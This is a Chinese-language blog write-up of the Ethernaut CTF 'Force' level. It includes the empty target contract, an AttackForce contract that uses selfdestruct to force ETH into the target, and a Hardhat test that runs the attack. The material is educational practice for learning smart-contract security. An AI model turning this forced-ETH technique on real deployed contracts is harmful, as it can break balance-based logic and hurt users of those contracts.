开坑使用Hardhat闯关Ethernaut CTF题,提高合约和测试脚本的能力,后续也会增加Paradigm CTF的闯关题目。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
这是一个空合约,是没法直接send,call,transfer转进去ETH,但是selfdestruct
函数是可以强制将合约剩余ETH转到指定地址的,selfdestruct
函数的用法:https://github.com/AmazingAng/WTFSolidity/tree/main/26_DeleteContract;
解题思路就简单了:
1.创建一个攻击合约,然后定义一个attack
方法包含selfdestruct
函数并指定Force
合约地址;
2.往攻击合约转账;
3.调用攻击合约的attack
方法;
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract AttackForce {
constructor() public payable {}
receive() external payable {}
function attack(address payable target) public {
selfdestruct(target);
}
}
const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");
const { parseEther } = require("ethers/lib/utils");
describe("test", function () {
var Force;
var AttackForce;
it("init params", async function () {
[deployer, ...users] = await ethers.getSigners();
});
it("deploy", async function () {
const ForceInstance = await ethers.getContractFactory("Force");
Force = await ForceInstance.deploy();
const AttackForceInstance = await ethers.getContractFactory("AttackForce");
AttackForce = await AttackForceInstance.deploy();
});
it("hack test", async function () {
await deployer.sendTransaction({
to: AttackForce.address,
value: parseEther("1"),
});
await AttackForce.attack(Force.address);
const balance = await ethers.provider.getBalance(Force.address);
expect(balance).to.equal(parseEther("1"));
});
});
Github:hardhat测试仓库
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!